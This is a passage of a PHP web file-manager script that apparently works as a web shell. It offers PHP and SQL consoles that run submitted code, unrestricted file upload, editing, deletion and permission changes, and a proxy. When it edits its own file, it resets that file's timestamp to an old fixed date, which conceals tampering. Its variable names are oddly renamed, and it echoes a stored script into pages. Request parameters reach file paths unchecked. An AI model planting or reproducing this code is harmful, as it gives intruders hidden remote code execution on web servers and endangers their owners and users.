'.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').'
                   
'.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').'

'.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').'
                    
'.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').'

'.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').'

'.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').'
'.fm_config_checkbox_row(__('Show').' xls','show_xls').'
'.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').'

'.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').'

<tr><td class="row1"><input name="fm_config[sql_server]" value="'.$form_confoy['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr>
<tr><td class="row1"><input name="fm_config[sql_username]" value="'.$form_confoy['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr>
                      
<tr><td class="row1"><input name="fm_config[sql_password]" value="'.$form_confoy['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr>
<tr><td class="row1"><input name="fm_config[sql_db]" value="'.$form_confoy['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr>
                  
'.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').'
                   
'.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').'

'.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').'
'.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').'
'.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').'

<tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr>
                  
</form>
                    
</table>

<table>
                   
<form method="post" action="">
<tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr>

<tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth_motti['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr>

<tr><td class="row1"><input name="fm_login[login]" value="'.$auth_motti['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr>

<tr><td class="row1"><input name="fm_login[password]" value="'.$auth_motti['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr>

<tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth_motti['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr>

<tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth_motti['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr>
                 
<tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth_motti['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr>

</form>

</table>';

echo fm_tpl_form('php'),fm_tpl_form('sql');
} elseif (isset($proxy_form)) {

	die($proxy_form);
                      
} elseif (isset($res_lng)) {	
?>

<table class="whole">
                    
<tr>

    <th><?=__('File manager').' - '.$path?></th>

</tr>
<tr>

    <td class="row2"><table><tr><td><h2><?=strtoupper($res_lng)?> <?=__('Console')?><?php
	if($res_lng=='sql') echo ' - Database: '.$form_confoy['sql_db'].'</h2></td><td>'.fm_run_input('php');
                   
	else echo '</h2></td><td>'.fm_run_input('sql');
	?></td></tr></table></td>
                      
</tr>

<tr>
                 
    <td class="row1">

		      <a href="<?=$url_inc.'&path=' . $path;?>"><?=__('Back')?></a>

		      <form action="" method="POST" name="console">

		      <textarea name="<?=$res_lng?>" cols="80" rows="10" style="width: 90%"><?=$res?></textarea><br/>

		      <input type="reset" value="<?=__('Reset')?>">

		      <input type="submit" value="<?=__('Submit')?>" name="<?=$res_lng?>run">

<?php
                      
$str_tmpl = $res_lng.'_templates';

$tmpl = !empty($$str_tmpl) ? json_decode($$str_tmpl,true) : '';
if (!empty($tmpl)){

	$active = isset($_POST[$res_lng.'_tpl']) ? $_POST[$res_lng.'_tpl'] : '';
                  
	$select = '<select name="'.$res_lng.'_tpl" title="'.__('Template').'" onchange="if (this.value!=-1) document.forms[\'console\'].elements[\''.$res_lng.'\'].value = this.options[selectedIndex].value; else document.forms[\'console\'].elements[\''.$res_lng.'\'].value =\'\';" >'."\n";

	$select .= '<option value="-1">' . __('Select') . "</option>\n";

	foreach ($tmpl as $key=>$value){

		      $select.='<option value="'.$value.'" '.((!empty($value)&&($value==$active))?'selected':'').' >'.__($key)."</option>\n";
                     
	}
                      
	$select .= "</select>\n";
                   
	echo $select;

}
?>

		      </form>

	</td>

</tr>

</table>
<?php
                 
	if (!empty($res)) {

		      $fun='fm_'.$res_lng;
		      echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>';

	}

} elseif (!empty($_REQUEST['edit'])){

	if(!empty($_REQUEST['save'])) {
		      $fn = $path . $_REQUEST['edit'];

		      $filemtime = filemtime($fn);

	    if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg_sekorm .= __('File updated');

		      else $msg_sekorm .= __('Error occurred');
                  
		      if ($_GET['edit']==basename(__FILE__)) {

		      	touch(__FILE__,1415116371);

		      } else {
                    
		      	if (!empty($form_confoy['restore_time'])) touch($fn,$filemtime);
		      }
	}
    $oldcontent = @file_get_contents($path . $_REQUEST['edit']);

    $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;

?>
<table border='0' cellspacing='0' cellpadding='1' width="100%">
                   
<tr>
    <th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th>

</tr>

<tr>

    <td class="row1">

        <?=$msg_sekorm?>
                 
	</td>
                    
</tr>
                  
<tr>
                     
    <td class="row1">
        <?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a>

	</td>
                     
</tr>

<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$editlink?>">

            <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea>
                    
            <input type="submit" name="save" value="<?=__('Submit')?>">
                    
            <input type="submit" name="cancel" value="<?=__('Cancel')?>">

        </form>

    </td>
                    
</tr>

</table>
                     
<?php

echo $auth_motti['script'];

} elseif(!empty($_REQUEST['rights'])){
	if(!empty($_REQUEST['save'])) {
	    if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively']))

		      $msg_sekorm .= (__('File updated')); 
                   
		      else $msg_sekorm .= (__('Error occurred'));

	}

	clearstatcache();

    $oldrights = fm_rights_string($path . $_REQUEST['rights'], true);
                  
    $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path;

    $backlink = $url_inc . '&path=' . $path;

?>
<table class="whole">

<tr>

    <th><?=__('File manager').' - '.$path?></th>

</tr>
                      
<tr>
                      
    <td class="row1">
                  
        <?=$msg_sekorm?>
	</td>
</tr>

<tr>

    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>

	</td>
                      
</tr>

<tr>
                    
    <td class="row1" align="center">
                  
        <form name="form1" method="post" action="<?=$link?>">

           <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>">

        <?php if (is_dir($path.$_REQUEST['rights'])) { ?>

            <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/>

        <?php } ?>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
                    
    </td>

</tr>
</table>

<?php

} elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') {

	if(!empty($_REQUEST['save'])) {

	    rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']);

		      $msg_sekorm .= (__('File updated'));
                      
		      $_REQUEST['rename'] = $_REQUEST['newname'];

	}

	clearstatcache();

    $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path;
                  
    $backlink = $url_inc . '&path=' . $path;
                  


?>

<table class="whole">

<tr>

    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">

        <?=$msg_sekorm?>

	</td>
</tr>

<tr>

    <td class="row1">

        <a href="<?=$backlink?>"><?=__('Back')?></a>

	</td>

</tr>
                   
<tr>

    <td class="row1" align="center">

        <form name="form1" method="post" action="<?=$link?>">

            <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/>

            <input type="submit" name="save" value="<?=__('Submit')?>">
                     
        </form>
                      
    </td>

</tr>
                     
</table>

<?php

} else {
                  
//Let's rock!
    $msg_sekorm = '';

    if(!empty($_FILES['upload'])&&!empty($form_confoy['upload_file'])) {

        if(!empty($_FILES['upload']['name'])){

            $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']);
            if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){

                $msg_sekorm .= __('Error occurred');

            } else {
                 
		      		      $msg_sekorm .= __('Files uploaded').': '.$_FILES['upload']['name'];

		      	}

        }

    } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') {

        if(!fm_del_fisiere(($path . $_REQUEST['delete']), true)) {

            $msg_sekorm .= __('Error occurred');

        } else {

		      	$msg_sekorm .= __('Deleted').' '.$_REQUEST['delete'];

		      }

	} elseif(!empty($_REQUEST['mkdir'])&&!empty($form_confoy['make_directory'])) {
                     
        if(!@mkdir($path . $_REQUEST['dirname'],0777)) {
                   
            $msg_sekorm .= __('Error occurred');

        } else {
                     
		      	$msg_sekorm .= __('Created').' '.$_REQUEST['dirname'];

		      }
    } elseif(!empty($_POST['search_recursive'])) {

		      ini_set('max_execution_time', '0');

		      $search_data =  find_text_in_fisiere($_POST['path'], $_POST['mask'], $_POST['search_recursive']);

		      if(!empty($search_data)) {
		      	$msg_sekorm .= __('Found in fisiere').' ('.count($search_data).'):<br>';
		      	foreach ($search_data as $filename) {
		      		      $msg_sekorm .= '<a href="'.fm_url(true).'?fm=true&edit='.basename($filename).'&path='.str_replace('/'.basename($filename),'/',$filename).'" title="' . __('Edit') . '">'.basename($filename).'</a>&nbsp; &nbsp;';
		      	}

		      } else {

		      	$msg_sekorm .= __('Nothing founded');
                   
		      }	

	} elseif(!empty($_REQUEST['mkfile'])&&!empty($form_confoy['new_file'])) {
        if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) {
                 
            $msg_sekorm .= __('Error occurred');

        } else {

		      	fclose($fp);

		      	$msg_sekorm .= __('Created').' '.$_REQUEST['filename'];
		      }

    } elseif (isset($_GET['zip'])) {
		      $source = base64_decode($_GET['zip']);

		      $destination = basename($source).'.zip';
                 
		      set_time_limit(0);

		      $phar = new PharData($destination);
                  
		      $phar->buildFromDirectory($source);

		      if (is_file($destination))

		      $msg_sekorm .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
		      '.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)

		      .'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>';
		      else $msg_sekorm .= __('Error occurred').': '.__('no fisiere');

	} elseif (isset($_GET['gz'])) {
		      $source = base64_decode($_GET['gz']);

		      $archive = $source.'.tar';
                    
		      $destination = basename($source).'.tar';
		      if (is_file($archive)) unlink($archive);
                   
		      if (is_file($archive.'.gz')) unlink($archive.'.gz');
                  
		      clearstatcache();
		      set_time_limit(0);
                   
		      //die();
                      
		      $phar = new PharData($destination);
                   
		      $phar->buildFromDirectory($source);

		      $phar->compress(Phar::GZ,'.tar.gz');

		      unset($phar);

		      if (is_file($archive)) {

		      	if (is_file($archive.'.gz')) {
		      		      unlink($archive); 

		      		      $destination .= '.gz';
                  
		      	}
                    


		      	$msg_sekorm .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
                      
		      	'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)

		      	.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';

		      } else $msg_sekorm .= __('Error occurred').': '.__('no fisiere');

	} elseif (isset($_GET['decompress'])) {

		      // $source = base64_decode($_GET['decompress']);
		      // $destination = basename($source);

		      // $ext = end(explode(".", $destination));
                   
		      // if ($ext=='zip' OR $ext=='gz') {
                   
		      	// $phar = new PharData($source);

		      	// $phar->decompress();
                      
		      	// $base_file = str_replace('.'.$ext,'',$destination);
                     
		      	// $ext = end(explode(".", $base_file));

		      	// if ($ext=='tar'){
                   
		      		      // $phar = new PharData($base_file);
		      		      // $phar->extractTo(dir($source));
                      
		      	// }
                      
		      // } 
                    
		      // $msg_sekorm .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');
	} elseif (isset($_GET['gzfile'])) {

		      $source = base64_decode($_GET['gzfile']);

		      $archive = $source.'.tar';

		      $destination = basename($source).'.tar';
                   
		      if (is_file($archive)) unlink($archive);
		      if (is_file($archive.'.gz')) unlink($archive.'.gz');

		      set_time_limit(0);
                 
		      //echo $destination;
		      $ext_arr = explode('.',basename($source));

		      if (isset($ext_arr[1])) {
		      	unset($ext_arr[0]);

		      	$ext=implode('.',$ext_arr);

		      } 
                    
		      $phar = new PharData($destination);

		      $phar->addFile($source);

		      $phar->compress(Phar::GZ,$ext.'.tar.gz');
		      unset($phar);

		      if (is_file($archive)) {
                   
		      	if (is_file($archive.'.gz')) {
		      		      unlink($archive); 

		      		      $destination .= '.gz';
		      	}

		      	$msg_sekorm .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
                    
		      	'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
		      	.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
                      
		      } else $msg_sekorm .= __('Error occurred').': '.__('no fisiere');
                     
	}
                      
?>

<table class="whole" id="header_table" >

<tr>
                      
    <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th>
                    
</tr>
<?php if(!empty($msg_sekorm)){ ?>

<tr>

	<td colspan="2" class="row2"><?=$msg_sekorm?></td>
                  
</tr>
                 
<?php } ?>
                    
<tr>
                    
    <td class="row2">

		      <table>
		      	<tr>

		      	<td>
                  
		      		      <?=fm_home()?>

		      	</td>

		      	<td>

		      	<?php if(!empty($form_confoy['make_directory'])) { ?>

		      		      <form method="post" action="<?=$url_inc?>">

		      		      <input type="hidden" name="path" value="<?=$path?>" />
		      		      <input type="text" name="dirname" size="15">
                     
		      		      <input type="submit" name="mkdir" value="<?=__('Make directory')?>">
		      		      </form>
                   
		      	<?php } ?>

		      	</td>
		      	<td>
		      	<?php if(!empty($form_confoy['new_file'])) { ?>

		      		      <form method="post" action="<?=$url_inc?>">

		      		      <input type="hidden" name="path"     value="<?=$path?>" />
		      		      <input type="text"   name="filename" size="15">
                 
		      		      <input type="submit" name="mkfile"   value="<?=__('New file')?>">

		      		      </form>

		      	<?php } ?>
                  
		      	</td>

		      	<td>
                 
		      		      <form  method="post" action="<?=$url_inc?>" style="display:inline">

		      		      <input type="hidden" name="path" value="<?=$path?>" />

		      		      <input type="text" placeholder="<?=__('Recursive search')?>" name="search_recursive" value="<?=!empty($_POST['search_recursive'])?$_POST['search_recursive']:''?>" size="15">

		      		      <input type="text" name="mask" placeholder="<?=__('Mask')?>" value="<?=!empty($_POST['mask'])?$_POST['mask']:'*.*'?>" size="5">
		      		      <input type="submit" name="search" value="<?=__('Search')?>">
		      		      </form>
                      
		      	</td>

		      	<td>
		      	<?=fm_run_input('php')?>
                   
		      	</td>

		      	<td>
                 
		      	<?=fm_run_input('sql')?>

		      	</td>
		      	</tr>

		      </table>

    </td>
    <td class="row3">
		      <table>
                   
		      <tr>
                      
		      <td>

		      <?php if (!empty($form_confoy['upload_file'])) { ?>
                      
		      	<form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">
		      	<input type="hidden" name="path" value="<?=$path?>" />
                   
		      	<input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />
		      	<input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />

		      	<input type="submit" name="test" value="<?=__('Upload')?>" />

		      	</form>
		      <?php } ?>
                   
		      </td>

		      <td>

		      <?php if ($auth_motti['authorize']) { ?>
                      
		      	<form action="" method="post">&nbsp;&nbsp;&nbsp;
                 
		      	<input name="quit" type="hidden" value="1">
                 
		      	<?=__('Hello')?>, <?=$auth_motti['login']?>
		      	<input type="submit" value="<?=__('Quit')?>">
		      	</form>

		      <?php } ?>

		      </td>
		      <td>
		      <?=fm_lang_form($language)?>
                     
		      </td>

		      <tr>
                      
		      </table>
    </td>
                  
</tr>

</table>

<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">

<thead>
<tr> 
                   
    <th style="white-space:nowrap"> <?=__('Filename')?> </th>
    <th style="white-space:nowrap"> <?=__('Size')?> </th>

    <th style="white-space:nowrap"> <?=__('Date')?> </th>
                      
    <th style="white-space:nowrap"> <?=__('Rights')?> </th>

    <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>

</tr>
</thead>
                     
<tbody>

<?php

$elements = fm_scan_dir($path, '', 'all', true);

$dirs = array();
$fisiere = array();

foreach ($elements as $file_usooo){
    if(@is_dir($path . $file_usooo)){
        $dirs[] = $file_usooo;
    } else {
        $fisiere[] = $file_usooo;

    }
                    
}
                  
natsort($dirs); natsort($fisiere);
$elements = array_merge($dirs, $fisiere);


foreach ($elements as $file_usooo){
                 
    $filename = $path . $file_usooo;

    $filedata = @stat($filename);

    if(@is_dir($filename)){

		      $filedata[7] = '';
                 
		      if (!empty($form_confoy['show_dir_size'])&&!fm_root($file_usooo)) $filedata[7] = fm_dir_size($filename);

        $link = '<a href="'.$url_inc.'&path='.$path.$file_usooo.'" title="'.__('Show').' '.$file_usooo.'"><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file_usooo.'</a>';
                    
        $loadlink= (fm_root($file_usooo)||$pho_core) ? '' : fm_link('zip',$filename,__('Compress').'&nbsp;zip',__('Archiving').' '. $file_usooo);
                 
		      $arlink  = (fm_root($file_usooo)||$pho_core) ? '' : fm_link('gz',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '.$file_usooo);
        $style = 'row2';

		       if (!fm_root($file_usooo)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file_usooo. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file_usooo . '&path=' . $path  . '\'"'; else $alert = '';

    } else {
                     
		      $link = 

		      	$form_confoy['show_img']&&@getimagesize($filename) 

		      	? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''

		      	. fm_img_link($filename)
		      	.'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file_usooo.'</a>'
                   
		      	: '<a href="' . $url_inc . '&edit=' . $file_usooo . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file_usooo.'</a>';
		      $e_arr = explode(".", $file_usooo);
                      
		      $ext = end($e_arr);
                     
        $loadlink =  fm_link('download',$filename,__('Download'),__('Download').' '. $file_usooo);

		      $arlink = in_array($ext,array('zip','gz','tar')) 
                     
		      ? ''

		      : ((fm_root($file_usooo)||$pho_core) ? '' : fm_link('gzfile',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '. $file_usooo));

        $style = 'row1';

		      $alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file_usooo. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file_usooo . '&path=' . $path  . '\'"';

    }
    $deletelink = fm_root($file_usooo) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file_usooo . '" ' . $alert . '>' . __('Delete') . '</a>';
    $renamelink = fm_root($file_usooo) ? '' : '<a href="' . $url_inc . '&rename=' . $file_usooo . '&path=' . $path . '" title="' . __('Rename') .' '. $file_usooo . '">' . __('Rename') . '</a>';
    $rightstext = ($file_usooo=='.' || $file_usooo=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file_usooo . '&path=' . $path . '" title="' . __('Rights') .' '. $file_usooo . '">' . @fm_rights_string($filename) . '</a>';

?>

<tr class="<?=$style?>"> 
                      
    <td><?=$link?></td>
                     
    <td><?=$filedata[7]?></td>

    <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>

    <td><?=$rightstext?></td>
                   
    <td><?=$deletelink?></td>

    <td><?=$renamelink?></td>
                     
    <td><?=$loadlink?></td>

    <td><?=$arlink?></td>
                 
</tr>

<?php

    }

}

?>

</tbody>
</table>
                 
<div class="row3"><?php
                      
	$mtime = explode(' ', microtime()); 

	$totaltime = $mtime[0] + $mtime[1] - $startkorn; 
	echo fm_home().' | ver. '.$ford_sold.' | <a href="https://github.com/Den1xxx/Filemanager">Github</a>  | <a href="'.fm_site_url().'">.</a>';
                     
	if (!empty($form_confoy['show_php_ver'])) echo ' | PHP '.phpversion();
	if (!empty($form_confoy['show_php_ini'])) echo ' | '.php_ini_loaded_file();

	if (!empty($form_confoy['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);

	if (!empty($form_confoy['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';

	if (!empty($form_confoy['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';
                      
	if (!empty($form_confoy['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';
                      
	if (!empty($form_confoy['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';

	?>

</div>

<script type="text/javascript">
                   
function download_xls(filename, text) {

	var element = document.createElement('a');
	element.setAttribute('href', 'data:application/vnd.ms-excel;base64,' + text);

	element.setAttribute('download', filename);

	element.style.display = 'none';

	document.body.appendChild(element);
                 
	element.click();

	document.body.removeChild(element);

}
                    


function base64_encode(m) {

	for (var k = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".split(""), c, d, h, e, a, g = "", b = 0, f, l = 0; l < m.length; ++l) {
		      c = m.charCodeAt(l);

		      if (128 > c) d = 1;
		      else
		      	for (d = 2; c >= 2 << 5 * d;) ++d;

		      for (h = 0; h < d; ++h) 1 == d ? e = c : (e = h ? 128 : 192, a = d - 2 - 6 * h, 0 <= a && (e += (6 <= a ? 1 : 0) + (5 <= a ? 2 : 0) + (4 <= a ? 4 : 0) + (3 <= a ? 8 : 0) + (2 <= a ? 16 : 0) + (1 <= a ? 32 : 0), a -= 5), 0 > a && (u = 6 * (d - 1 - h), e += c >> u, c -= c >> u << u)), f = b ? f << 6 - b : 0, b += 2, f += e >> b, g += k[f], f = e % (1 << b), 6 == b && (b = 0, g += k[f])
	}
	b && (g += k[f << 6 - b]);
	return g
}
                    

                  

                 
var tableToExcelData = (function() {

    var uri = 'data:application/vnd.ms-excel;base64,',

    template = '<html xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:x="urn:schemas-microsoft-com:office:excel" xmlns="http://www.w3.org/TR/REC-html40"><head><!--[if gte mso 9]><xml><x:ExcelWorkbook><x:ExcelWorksheets><x:ExcelWorksheet><x:Name>{worksheet}</x:Name><x:WorksheetOptions><x:DisplayGridlines></x:DisplayGridlines></x:WorksheetOptions></x:ExcelWorksheet></x:ExcelWorksheets></x:ExcelWorkbook></xml><![endif]--><meta http-equiv="content-type" content="text/plain; charset=UTF-8"/></head><body><table>{table}</table></body></html>',

    format = function(s, c) {
                    
            return s.replace(/{(\w+)}/g, function(m, p) {
                  
                return c[p];

            })
        }
                  
    return function(table, name) {
                      
        if (!table.nodeType) table = document.getElementById(table)
                   
        var ctx = {
            worksheet: name || 'Worksheet',

            table: table.innerHTML.replace(/<span(.*?)\/span> /g,"").replace(/<a\b[^>]*>(.*?)<\/a>/g,"$1")

        }

		      t = new Date();

		      filename = 'fm_' + t.toISOString() + '.xls'
		      download_xls(filename, base64_encode(format(template, ctx)))
                     
    }
})();


                  
var table2Excel = function () {
                    

    var ua = window.navigator.userAgent;

    var msie = ua.indexOf("MSIE ");


	this.CreateExcelSheet = 

		      function(el, name){
                   
		      	if (msie > 0 || !!navigator.userAgent.match(/Trident.*rv\:11\./)) {// If Internet Explorer

		      		      var x = document.getElementById(el).rows;


                      
		      		      var xls = new ActiveXObject("Excel.Application");
                 

		      		      xls.visible = true;
		      		      xls.Workbooks.Add

		      		      for (i = 0; i < x.length; i++) {

		      		      	var y = x[i].cells;



		      		      	for (j = 0; j < y.length; j++) {

		      		      		      xls.Cells(i + 1, j + 1).Value = y[j].innerText;
		      		      	}
                    
		      		      }

		      		      xls.Visible = true;

		      		      xls.UserControl = true;
                      
		      		      return xls;
                  
		      	} else {
                    
		      		      tableToExcelData(el, name);

		      	}

		      }
}

</script>

</body>
</html>


<?php

//Ported from ReloadCMS project http://reloadcms.com

class archiveTar {

	var $nume_arhiva = '';
	var $fisier_temporar = 0;

	var $pozitie_fisier = 0;

	var $este_gzipped = true;

	var $erori = array();
	var $fisiere = array();
                      
	

	function __construct(){
                     
		      if (!isset($this->erori)) $this->erori = array();

	}

	

	function creeaza_arhiva($file_list){
                     
		      $result = false;
		      if (file_exists($this->nume_arhiva) && is_file($this->nume_arhiva)) 	$newArchive = false;

		      else $newArchive = true;

		      if ($newArchive){
		      	if (!$this->deschide_scriere()) return false;
		      } else {
                    
		      	if (fisiereize($this->nume_arhiva) == 0)	return $this->deschide_scriere();
                   
		      	if ($this->este_gzipped) {
		      		      $this->inchide_fisier_temporar();
                    
		      		      if (!rename($this->nume_arhiva, $this->nume_arhiva.'.tmp')){
                     
		      		      	$this->erori[] = __('Cannot rename').' '.$this->nume_arhiva.__(' to ').$this->nume_arhiva.'.tmp';
                  
		      		      	return false;

		      		      }
                 
		      		      $tmpArchive = gzopen($this->nume_arhiva.'.tmp', 'rb');

		      		      if (!$tmpArchive){
		      		      	$this->erori[] = $this->nume_arhiva.'.tmp '.__('is not readable');
		      		      	rename($this->nume_arhiva.'.tmp', $this->nume_arhiva);

		      		      	return false;

		      		      }

		      		      if (!$this->deschide_scriere()){

		      		      	rename($this->nume_arhiva.'.tmp', $this->nume_arhiva);

		      		      	return false;

		      		      }
                      
		      		      $buffer = gzread($tmpArchive, 512);
		      		      if (!gzeof($tmpArchive)){

		      		      	do {

		      		      		      $binaryData = pack('a512', $buffer);
		      		      		      $this->scrie_bloc($binaryData);
		      		      		      $buffer = gzread($tmpArchive, 512);
                 
		      		      	}

		      		      	while (!gzeof($tmpArchive));

		      		      }

		      		      gzclose($tmpArchive);

		      		      unlink($this->nume_arhiva.'.tmp');

		      	} else {
		      		      $this->fisier_temporar = fopen($this->nume_arhiva, 'r+b');

		      		      if (!$this->fisier_temporar)	return false;
		      	}

		      }

		      if (isset($file_list) && is_array($file_list)) {
                    
		      if (count($file_list)>0)
                   
		      	$result = $this->impacheteaza_fisiere($file_list);

		      } else $this->erori[] = __('No file').__(' to ').__('Archive');

		      if (($result)&&(is_resource($this->fisier_temporar))){
		      	$binaryData = pack('a512', '');

		      	$this->scrie_bloc($binaryData);
                   
		      }

		      $this->inchide_fisier_temporar();
		      if ($newArchive && !$result){

		      $this->inchide_fisier_temporar();
		      unlink($this->nume_arhiva);

		      }

		      return $result;
                      
	}

                      
	function restaureaza_arhiva($path){
		      $fileName = $this->nume_arhiva;
		      if (!$this->este_gzipped){

		      	if (file_exists($fileName)){

		      		      if ($fp = fopen($fileName, 'rb')){
		      		      	$data = fread($fp, 2);

		      		      	fclose($fp);
		      		      	if ($data == '\37\213'){

		      		      		      $this->este_gzipped = true;

		      		      	}

		      		      }

		      	}

		      	elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->este_gzipped = true;
                   
		      } 
                   
		      $result = true;

		      if ($this->este_gzipped) $this->fisier_temporar = gzopen($fileName, 'rb');

		      else $this->fisier_temporar = fopen($fileName, 'rb');
		      if (!$this->fisier_temporar){

		      	$this->erori[] = $fileName.' '.__('is not readable');

		      	return false;
		      }
		      $result = $this->unimpacheteaza_fisiere($path);
		      	$this->inchide_fisier_temporar();
		      return $result;

	}



	function afiseaza_erori	($message = '') {
                 
		      $Errors = $this->erori;
		      if(count($Errors)>0) {
		      if (!empty($message)) $message = ' ('.$message.')';
		      	$message = __('Error occurred').$message.': <br/>';

		      	foreach ($Errors as $value)
		      		      $message .= $value.'<br/>';

		      	return $message;	
                   
		      } else return '';
		      

	}
                   
	
	function impacheteaza_fisiere($file_array){

		      $result = true;
                      
		      if (!$this->fisier_temporar){

		      	$this->erori[] = __('Invalid file descriptor');

		      	return false;

		      }

		      if (!is_array($file_array) || count($file_array)<=0)

          return true;
		      for ($i = 0; $i<count($file_array); $i++){

		      	$filename = $file_array[$i];
